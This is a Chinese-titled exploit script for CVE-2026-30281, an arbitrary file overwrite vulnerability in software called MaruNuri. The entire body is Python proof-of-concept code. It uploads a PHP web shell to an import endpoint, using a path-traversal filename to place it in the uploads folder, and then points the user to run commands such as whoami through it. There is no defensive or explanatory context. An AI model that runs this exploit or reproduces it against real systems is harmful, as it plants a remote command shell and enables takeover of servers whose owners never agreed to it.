CVE-2026-30281 MaruNuri任意文件覆盖漏洞

import requests def exploit(target_url): # Target endpoint for file import url = f"{target_url}/api/import" # Malicious payload to achieve RCE payload = "<?php system($_GET['cmd']); ?>" # Filename with path traversal to overwrite a critical file or upload webshell filename = "../../uploads/shell.php" files = { 'file': (filename, payload) } try: response = requests.post(url, files=files) if response.status_code == 200: print("[+] Exploit successful! Check your shell at: /uploads/shell.php?cmd=whoami") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Usage # exploit("http://target-ip")